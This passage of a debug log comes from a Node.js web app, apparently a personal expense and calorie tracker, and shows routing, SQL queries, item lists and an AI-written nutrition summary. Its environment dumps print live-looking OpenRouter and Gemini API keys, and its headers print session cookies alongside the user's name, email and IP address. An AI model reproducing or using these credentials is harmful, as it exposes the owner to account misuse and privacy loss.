    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:48:56.417Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:49:03.222Z server-connect:router Serving templateView /
2025-12-22T05:49:03.223Z server-connect:app Executing action step identify
2025-12-22T05:49:03.223Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:03.223Z server-connect:output identity: 1
2025-12-22T05:49:03.223Z server-connect:app Executing action step restrict
2025-12-22T05:49:03.223Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:49:03.224Z server-connect:output restrict: undefined
2025-12-22T05:49:03.224Z server-connect:app Executing action step restrict
2025-12-22T05:49:03.224Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:49:03.225Z server-connect:output restrict: undefined
2025-12-22T05:49:03.225Z server-connect:router Render template layouts/main
2025-12-22T05:49:03.225Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:49:03.957Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:49:03.958Z server-connect:app Executing action step identify
2025-12-22T05:49:03.958Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:03.958Z server-connect:output identity: 1
2025-12-22T05:49:03.958Z server-connect:app Executing action step restrict
2025-12-22T05:49:03.958Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:03.958Z server-connect:output restrict: undefined
2025-12-22T05:49:03.958Z server-connect:app Executing action step single
2025-12-22T05:49:03.958Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:49:03.959Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T05:49:03.974Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:49:03.975Z server-connect:app Executing action step identify
2025-12-22T05:49:03.975Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:03.975Z server-connect:output identity: 1
2025-12-22T05:49:03.975Z server-connect:app Executing action step restrict
2025-12-22T05:49:03.975Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:03.975Z server-connect:output restrict: undefined
2025-12-22T05:49:03.975Z server-connect:app Executing action step select
2025-12-22T05:49:03.975Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:49:03.978Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:49:10.399Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T05:49:10.399Z server-connect:app Executing action step identify
2025-12-22T05:49:10.399Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:10.399Z server-connect:output identity: 1
2025-12-22T05:49:10.399Z server-connect:app Executing action step restrict
2025-12-22T05:49:10.399Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:49:10.400Z server-connect:output restrict: undefined
2025-12-22T05:49:10.400Z server-connect:router Render template calorie-tracker
2025-12-22T05:49:10.400Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T05:49:10.641Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T05:49:10.642Z server-connect:app Executing action step identify
2025-12-22T05:49:10.642Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:10.642Z server-connect:output identity: 1
2025-12-22T05:49:10.642Z server-connect:app Executing action step restrict
2025-12-22T05:49:10.642Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:49:10.643Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T05:49:10.643Z server-connect:output restrict: undefined
2025-12-22T05:49:10.643Z server-connect:app Executing action step single
2025-12-22T05:49:10.643Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-22T05:49:10.644Z server-connect:app Executing action step identify
2025-12-22T05:49:10.644Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:10.644Z server-connect:output identity: 1
2025-12-22T05:49:10.644Z server-connect:app Executing action step restrict
2025-12-22T05:49:10.644Z server-connect:app options: { provider: 'security' }
2025-12-22T05:49:10.644Z server-connect:output restrict: undefined
2025-12-22T05:49:10.644Z server-connect:app Executing action step single
2025-12-22T05:49:10.644Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-22T05:49:10.645Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-22T05:49:10.645Z server-connect:app Executing action step select
2025-12-22T05:49:10.645Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-22T05:49:10.645Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "Today's food intake appears to be focused on post-workout recovery with a protein source and a carbohydrate-rich meal. The inclusion of a banana and pre-workout is appropriate for energy. However, the overall meal composition lacks diversity and may not fully support muscle development and fat loss goals without additional nutrient-dense foods throughout the day. Consistency in this pattern might lead to slow progress.",
    bad_points: [
      'Limited variety in food choices for the day.',
      'Potential lack of sufficient fiber and micronutrients.',
      'Meal timing seems heavily concentrated around the workout.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Consumption of a banana for quick energy.',
      'Pre-workout supplement use for gym performance.'
    ],
    suggestions: [
      'Incorporate more vegetables and diverse protein sources throughout the day.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding healthy fats to meals for satiety and nutrient absorption.',
      'Distribute protein intake more evenly across meals.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-21T18:30:00.000Z'
}
2025-12-22T05:49:10.647Z server-connect:output item_list: [
  {
    id: 478,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Cucumber',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Good source of quick energy and potassium for pre-workout.'
  },
  {
    id: 479,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Designed to boost energy and performance for workouts. Calories are usually minimal.'
  },
  {
    id: 480,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites (lower fat, more volume)',
    created_at: '2025-12-21T22:14:00.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout.'
  },
  {
    id: 481,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Wheat Semolina Pasta (homemade)',
    calories: 150,
    protein_gm: 5,
